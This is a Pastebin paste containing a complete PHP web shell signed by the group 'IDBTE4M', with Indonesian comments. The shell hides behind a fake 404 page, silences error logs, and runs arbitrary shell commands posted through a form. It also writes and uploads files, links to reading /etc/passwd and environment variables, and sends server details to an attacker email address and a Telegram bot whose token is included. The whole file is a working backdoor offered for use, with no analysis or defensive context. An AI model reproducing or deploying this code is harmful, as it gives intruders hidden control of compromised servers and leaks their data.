Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Konfigurasi awal
- set_time_limit(0);
- error_reporting(0);
- @ini_set('error_log',null);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- date_default_timezone_set('Asia/Jakarta');
- // Fungsi untuk mendapatkan IP
- function ip() {
- $ipas = '';
- if(getenv('HTTP_CLIENT_IP'))
- $ipas = getenv('HTTP_CLIENT_IP');
- else if(getenv('HTTP_X_FORWARDED_FOR'))
- $ipas = getenv('HTTP_X_FORWARDED_FOR');
- else if(getenv('HTTP_X_FORWARDED'))
- $ipas = getenv('HTTP_X_FORWARDED');
- else if(getenv('HTTP_FORWARDED_FOR'))
- $ipas = getenv('HTTP_FORWARDED_FOR');
- else if(getenv('HTTP_FORWARDED'))
- $ipas = getenv('HTTP_FORWARDED');
- else if(getenv('REMOTE_ADDR'))
- $ipas = getenv('REMOTE_ADDR');
- else
- $ipas = 'IP tidak dikenali';
- return $ipas;
- }
- // Fungsi exe()
- function exe($cmd) {
- // Jika $cmd adalah file, baca isinya
- if(is_file($cmd)) {
- $buff = @file_get_contents($cmd);
- return htmlspecialchars($buff);
- }
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return htmlspecialchars($buff);
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result . "\n";
- }
- return htmlspecialchars($buff);
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return htmlspecialchars($buff);
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return htmlspecialchars($buff);
- }
- return false; // Jika tidak ada fungsi yang tersedia
- }
- // Sistem informasi dan monitoring
- $disfunc = @ini_get("disable_functions");
- if(empty($disfunc)) {
- $disfc = "NONE";
- } else {
- $disfc = $disfunc;
- }
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
- $server_ip = gethostbyname($_SERVER['HTTP_HOST']);
- $software = $_SERVER['SERVER_SOFTWARE'];
- $lihat = ip();
- $sys = php_uname();
- // Fungsi http_get
- if(in_array('curl', get_loaded_extensions())){
- function http_get($url){
- $im = curl_init($url);
- curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($im, CURLOPT_HEADER, 0);
- $result = curl_exec($im);
- curl_close($im);
- return $result;
- }
- } else {
- function http_get($url){
- $result = @file_get_contents($url);
- return $result;
- }
- }
- // Cek CloudLinux dan AWS SDK
- $homee = $_SERVER['DOCUMENT_ROOT'];
- $cgfs = explode("/",$homee);
- $build = '/'.$cgfs[1].'/'.$cgfs[2].'/.cagefs';
- $cloudlinux = is_dir($build) ? "True" : "False";
- $aws_sdk = "False";
- if(strpos($homee, 'public') !== false) {
- $dirs = str_replace("public", "", $homee)."/vendor/aws";
- $dirs2 = str_replace("public", "", $homee)."/vendor/aws-sdk-php";
- if(is_dir($dirs) || is_dir($dirs2)) {
- $aws_sdk = "True";
- }
- } else {
- $dirs = $homee."/vendor/aws";
- $dirs2 = $homee."/vendor/aws-sdk-php";
- if(is_dir($dirs) || is_dir($dirs2)) {
- $aws_sdk = "True";
- }
- }
- // Cek parameter URL untuk menentukan aksi
- $action = isset($_GET['terminal']) ? 'terminal' :
- (isset($_GET['buatfile']) ? 'buatfile' :
- (isset($_GET['upload']) ? 'upload' :
- (isset($_GET['systeminfo']) ? 'systeminfo' : '404')));
- // Jika tidak ada parameter yang valid, tampilkan 404
- if ($action === '404') {
- header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
- die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
- }
- ?>
- <!DOCTYPE html>
- <html lang="id">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Terminal Web - <?php echo ucfirst($action); ?></title>
- <style>
- * {
- margin: 0;
- padding: 0;
- box-sizing: border-box;
- font-family: 'Consolas', 'Monaco', monospace;
- }
- body {
- background-color: #0c0c0c;
- color: #00ff00;
- padding: 20px;
- line-height: 1.6;
- }
- .container {
- max-width: 1200px;
- margin: 0 auto;
- background-color: #000;
- border: 1px solid #00ff00;
- border-radius: 5px;
- overflow: hidden;
- box-shadow: 0 0 20px rgba(0, 255, 0, 0.2);
- }
- .header {
- background-color: #001a00;
- padding: 15px;
- border-bottom: 1px solid #00ff00;
- text-align: center;
- }
- .header h1 {
- color: #ff0000;
- margin-bottom: 5px;
- text-shadow: 0 0 5px rgba(255, 0, 0, 0.5);
- }
- .header h2 {
- color: #00ff00;
- font-size: 1.2em;
- }
- .header-info {
- font-size: 0.9em;
- color: #00cc00;
- margin-top: 10px;
- padding: 5px;
- background-color: #002200;
- border-radius: 3px;
- }
- .nav {
- display: flex;
- background-color: #002200;
- border-bottom: 1px solid #00ff00;
- padding: 10px;
- flex-wrap: wrap;
- }
- .nav-link {
- background-color: <?php echo $action === 'terminal' ? '#00aa00' : '#003300'; ?>;
- color: <?php echo $action === 'terminal' ? '#000' : '#00ff00'; ?>;
- border: 1px solid #00ff00;
- padding: 8px 15px;
- margin: 5px;
- text-decoration: none;
- border-radius: 3px;
- transition: all 0.3s;
- }
- .nav-link:hover {
- background-color: #00aa00;
- color: #000;
- }
- .content {
- padding: 20px;
- min-height: 400px;
- }
- .terminal-form {
- margin-bottom: 20px;
- }
- .cmd-input {
- width: 100%;
- padding: 10px;
- background-color: #001100;
- color: #00ff00;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 10px;
- font-size: 1em;
- }
- .btn {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- padding: 10px 20px;
- cursor: pointer;
- border-radius: 3px;
- font-size: 1em;
- transition: all 0.3s;
- }
- .btn:hover {
- background-color: #00aa00;
- color: #000;
- }
- .btn-danger {
- background-color: #330000;
- color: #ff0000;
- border: 1px solid #ff0000;
- }
- .btn-danger:hover {
- background-color: #ff0000;
- color: #000;
- }
- .output {
- background-color: #001100;
- border: 1px solid #00ff00;
- padding: 15px;
- border-radius: 3px;
- margin-top: 20px;
- max-height: 400px;
- overflow-y: auto;
- white-space: pre-wrap;
- word-wrap: break-word;
- }
- .file-form {
- background-color: #001100;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- }
- .form-group {
- margin-bottom: 15px;
- }
- .form-label {
- display: block;
- margin-bottom: 5px;
- color: #00ff00;
- }
- .form-input {
- width: 100%;
- padding: 8px;
- background-color: #000;
- color: #00ff00;
- border: 1px solid #00ff00;
- border-radius: 3px;
- }
- .textarea {
- min-height: 150px;
- resize: vertical;
- font-family: monospace;
- }
- .message {
- padding: 10px;
- margin: 10px 0;
- border-radius: 3px;
- text-align: center;
- }
- .success {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- }
- .error {
- background-color: #330000;
- color: #ff0000;
- border: 1px solid #ff0000;
- }
- .warning {
- background-color: #333300;
- color: #ffff00;
- border: 1px solid #ffff00;
- }
- .info {
- background-color: #000033;
- color: #00ffff;
- border: 1px solid #00ffff;
- }
- .current-dir {
- background-color: #001100;
- padding: 10px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- font-weight: bold;
- }
- .uname-info {
- background-color: #001100;
- padding: 10px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- text-align: center;
- }
- .system-info {
- background-color: #001100;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 15px;
- }
- .info-grid {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
- gap: 15px;
- margin-bottom: 20px;
- }
- .info-box {
- background-color: #000;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- }
- .info-title {
- color: #00ff00;
- font-weight: bold;
- margin-bottom: 10px;
- border-bottom: 1px solid #00ff00;
- padding-bottom: 5px;
- }
- .info-content {
- color: #00cc00;
- }
- /* Styling khusus untuk setiap halaman */
- .nav-terminal {
- background-color: <?php echo $action === 'terminal' ? '#00aa00' : '#003300'; ?>;
- color: <?php echo $action === 'terminal' ? '#000' : '#00ff00'; ?>;
- }
- .nav-buatfile {
- background-color: <?php echo $action === 'buatfile' ? '#00aa00' : '#003300'; ?>;
- color: <?php echo $action === 'buatfile' ? '#000' : '#00ff00'; ?>;
- }
- .nav-upload {
- background-color: <?php echo $action === 'upload' ? '#00aa00' : '#003300'; ?>;
- color: <?php echo $action === 'upload' ? '#000' : '#00ff00'; ?>;
- }
- .nav-systeminfo {
- background-color: <?php echo $action === 'systeminfo' ? '#00aa00' : '#003300'; ?>;
- color: <?php echo $action === 'systeminfo' ? '#000' : '#00ff00'; ?>;
- }
- .quick-commands {
- display: flex;
- flex-wrap: wrap;
- gap: 10px;
- margin-top: 20px;
- margin-bottom: 20px;
- }
- .quick-cmd {
- background-color: #002200;
- color: #00ff00;
- border: 1px solid #00ff00;
- padding: 8px 15px;
- border-radius: 3px;
- cursor: pointer;
- transition: all 0.3s;
- text-decoration: none;
- display: inline-block;
- }
- .quick-cmd:hover {
- background-color: #00aa00;
- color: #000;
- }
- </style>
- </head>
- <body>
- <div class="container">
- <div class="header">
- <h1>Pasukan Berani Mati</h1>
- <h2>CaFc_Br40ck - IDBTE4M</h2>
- <div class="header-info">
- IP: <?php echo htmlspecialchars($lihat); ?> |
- User: <?php echo htmlspecialchars($user); ?> |
- Time: <?php echo date('Y-m-d H:i:s'); ?>
- </div>
- </div>
- <div class="nav">
- <a href="?terminal" class="nav-link nav-terminal">Terminal</a>
- <a href="?buatfile" class="nav-link nav-buatfile">Buat File</a>
- <a href="?upload" class="nav-link nav-upload">Upload File</a>
- <a href="?systeminfo" class="nav-link nav-systeminfo">System Info</a>
- </div>
- <div class="content">
- <?php if ($action === 'terminal'): ?>
- <!-- Terminal Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars(getcwd()); ?>
- </div>
- <form method="POST" class="terminal-form">
- <input type="text" name="cmd" class="cmd-input" placeholder="Masukkan perintah atau path file..." required>
- <button type="submit" name="execute" class="btn">Execute</button>
- </form>
- <div class="quick-commands">
- <a href="?terminal&cmd=pwd" class="quick-cmd">pwd</a>
- <a href="?terminal&cmd=ls -la" class="quick-cmd">ls -la</a>
- <a href="?terminal&cmd=whoami" class="quick-cmd">whoami</a>
- <a href="?terminal&cmd=id" class="quick-cmd">id</a>
- <a href="?terminal&cmd=uname -a" class="quick-cmd">uname -a</a>
- <a href="?terminal&cmd=df -h" class="quick-cmd">df -h</a>
- <a href="?terminal&cmd=ps aux" class="quick-cmd">ps aux</a>
- <a href="?terminal&cmd=netstat -tulpn" class="quick-cmd">netstat</a>
- </div>
- <?php
- // Eksekusi perintah jika form dikirim
- if(isset($_POST['execute']) && isset($_POST['cmd'])) {
- $cmd = $_POST['cmd'];
- $result = exe($cmd);
- if($result !== false) {
- echo '<div class="output">';
- echo $result ? $result : "Perintah berhasil dijalankan (tidak ada output).";
- echo '</div>';
- } else {
- echo '<div class="message error">Gagal menjalankan perintah. Fungsi shell mungkin dinonaktifkan.</div>';
- }
- }
- ?>
- <?php elseif ($action === 'buatfile'): ?>
- <!-- Buat File Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars(getcwd()); ?>
- </div>
- <form method="POST" class="file-form">
- <div class="form-group">
- <label class="form-label">Nama File:</label>
- <input type="text" name="namafile" class="form-input" placeholder="contoh: test.txt" required>
- </div>
- <div class="form-group">
- <label class="form-label">Isi File:</label>
- <textarea name="isifile" class="form-input textarea" placeholder="Masukkan isi file..."></textarea>
- </div>
- <button type="submit" name="buatfile" class="btn">Buat File</button>
- </form>
- <?php
- // Proses pembuatan file
- if (isset($_POST['buatfile'])) {
- $namafile = $_POST['namafile'];
- $isifile = $_POST['isifile'];
- // Validasi nama file
- if(empty($namafile)) {
- echo '<div class="message error">Nama file tidak boleh kosong!</div>';
- } else {
- $handle = fopen($namafile, "w");
- if ($isifile) {
- $buatfile = fwrite($handle, $isifile);
- } else {
- $buatfile = $handle;
- }
- fclose($handle);
- if ($buatfile) {
- echo '<div class="message success">Berhasil membuat file: ' . htmlspecialchars($namafile) . '</div>';
- // Kirim notifikasi file dibuat
- $pesan_file = "File dibuat: $namafile\r\nIP: $lihat\r\nPath: $x_path";
- @mail($tujuanmail, "FILE CREATED", $pesan_file);
- } else {
- echo '<div class="message error">Gagal membuat file: ' . htmlspecialchars($namafile) . '</div>';
- }
- }
- }
- ?>
- <?php elseif ($action === 'upload'): ?>
- <?php
- // Kirim notifikasi email
- $tujuanmail = '[email protected]';
- $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
- $pesan_alert = "Info server\r\nLetak-> $x_path \r\nIP Address : [ " . ip() . " ]\r\nUname: ".php_uname()."\r\nSoftware: $software \r\nPHP version:".PHP_VERSION."\r\nPHP os: ".PHP_OS."\r\nServer IP : $server_ip \r\nYour IP: $lihat \r\nUser: $user ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc";
- @mail($tujuanmail, "IDBTE4M UPLOADER RESULT", $pesan_alert, "[ " . ip() . " ]");
- // Kirim notifikasi Telegram
- $apiToken = "1862821332:AAEx2R5X6tQytVVTkolZhcaJI0DGF9ruZg8";
- $data = [
- 'chat_id' => '-1003153158659',
- 'text' => "Letak : $x_path\r\nIP Server : $server_ip \r\nIP Address : $lihat \r\nSoftware : $software\r\nYour IP: $lihat \r\nUser: $user ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc \r\nUname : \r\n$sys \r\n"
- ];
- @file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data));
- ?>
- <!-- Upload File Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars(getcwd()); ?>
- </div>
- <div class="uname-info">
- <?php echo htmlspecialchars(php_uname()); ?>
- </div>
- <form action="?upload" method="post" enctype="multipart/form-data" class="file-form">
- <div class="form-group">
- <label class="form-label">Pilih File:</label>
- <input type="file" name="file" class="form-input" required>
- </div>
- <button type="submit" name="_zx" value="Upload" class="btn">Upload File</button>
- </form>
- <?php
- // Proses upload file
- if(isset($_POST['_zx']) && $_POST['_zx'] == "Upload" ) {
- if(isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
- $filename = $_FILES['file']['name'];
- $tmp_name = $_FILES['file']['tmp_name'];
- if(@move_uploaded_file($tmp_name, $filename)) {
- echo '<div class="message success">File Berhasil Diupload: <a href="' . htmlspecialchars($filename) . '" style="color:#00ff00;">' . htmlspecialchars($filename) . '</a></div>';
- // Kirim notifikasi file diupload
- $pesan_upload = "File diupload: $filename\r\nSize: " . filesize($filename) . " bytes\r\nIP: $lihat\r\nPath: $x_path";
- @mail($tujuanmail, "FILE UPLOADED", $pesan_upload);
- } else {
- echo '<div class="message error">File ' . htmlspecialchars($filename) . ' Gagal Diupload.</div>';
- }
- } else {
- echo '<div class="message error">Terjadi kesalahan saat upload file.</div>';
- }
- }
- ?>
- <?php elseif ($action === 'systeminfo'): ?>
- <!-- System Info Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars(getcwd()); ?>
- </div>
- <div class="message info">
- Notifikasi telah dikirim ke email dan Telegram! | IP Anda: <?php echo htmlspecialchars($lihat); ?>
- </div>
- <div class="info-grid">
- <div class="info-box">
- <div class="info-title">System Information</div>
- <div class="info-content">
- OS: <?php echo htmlspecialchars(PHP_OS); ?><br>
- PHP Version: <?php echo htmlspecialchars(PHP_VERSION); ?><br>
- Server Software: <?php echo htmlspecialchars($software); ?><br>
- Server IP: <?php echo htmlspecialchars($server_ip); ?><br>
- Your IP: <?php echo htmlspecialchars($lihat); ?><br>
- CloudLinux: <?php echo $cloudlinux; ?><br>
- AWS SDK: <?php echo $aws_sdk; ?>
- </div>
- </div>
- <div class="info-box">
- <div class="info-title">User Information</div>
- <div class="info-content">
- User: <?php echo htmlspecialchars($user); ?> (<?php echo htmlspecialchars($uid); ?>)<br>
- Group: <?php echo htmlspecialchars($group); ?> (<?php echo htmlspecialchars($gid); ?>)<br>
- Safe Mode: <?php echo $sm; ?><br>
- Disabled Functions: <?php echo htmlspecialchars($disfc); ?>
- </div>
- </div>
- <div class="info-box">
- <div class="info-title">Server Status</div>
- <div class="info-content">
- Time: <?php echo date('Y-m-d H:i:s'); ?><br>
- Max Execution Time: <?php echo @ini_get('max_execution_time'); ?>s<br>
- Memory Limit: <?php echo @ini_get('memory_limit'); ?><br>
- Upload Max Filesize: <?php echo @ini_get('upload_max_filesize'); ?><br>
- Post Max Size: <?php echo @ini_get('post_max_size'); ?>
- </div>
- </div>
- </div>
- <div class="output">
- <?php echo htmlspecialchars($sys); ?>
- </div>
- <div class="quick-commands">
- <a href="?terminal&cmd=cat /etc/passwd" class="quick-cmd btn-danger">/etc/passwd</a>
- <a href="?terminal&cmd=cat /etc/group" class="quick-cmd btn-danger">/etc/group</a>
- <a href="?terminal&cmd=cat /etc/hosts" class="quick-cmd">/etc/hosts</a>
- <a href="?terminal&cmd=env" class="quick-cmd">env</a>
- <a href="?terminal&cmd=php -v" class="quick-cmd">php -v</a>
- <a href="?terminal&cmd=mysql --version" class="quick-cmd">mysql --version</a>
- <a href="?terminal&cmd=python --version" class="quick-cmd">python --version</a>
- <a href="?terminal&cmd=perl -v" class="quick-cmd">perl -v</a>
- </div>
- <?php endif; ?>
- </div>
- </div>
- <script>
- // Fungsi untuk auto-focus pada input saat halaman terminal dimuat
- document.addEventListener('DOMContentLoaded', function() {
- <?php if ($action === 'terminal'): ?>
- var cmdInput = document.querySelector('input[name="cmd"]');
- if(cmdInput) {
- cmdInput.focus();
- // Jika ada parameter cmd di URL, isi input
- const urlParams = new URLSearchParams(window.location.search);
- if(urlParams.has('cmd')) {
- cmdInput.value = urlParams.get('cmd');
- // Auto submit jika ada cmd dari parameter
- setTimeout(function() {
- document.querySelector('form.terminal-form').submit();
- }, 500);
- }
- }
- <?php elseif ($action === 'buatfile'): ?>
- var fileInput = document.querySelector('input[name="namafile"]');
- if(fileInput) {
- fileInput.focus();
- }
- <?php endif; ?>
- // Log akses ke konsol
- console.log('IDBTE4M Terminal Access - <?php echo date("Y-m-d H:i:s"); ?>');
- });
- // Fungsi untuk copy text
- function copyToClipboard(text) {
- navigator.clipboard.writeText(text).then(function() {
- alert('Copied to clipboard!');
- }, function(err) {
- console.error('Could not copy text: ', err);
- });
- }
- // Fungsi untuk clear output
- function clearOutput() {
- var output = document.querySelector('.output');
- if(output) {
- output.innerHTML = '';
- }
- }
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment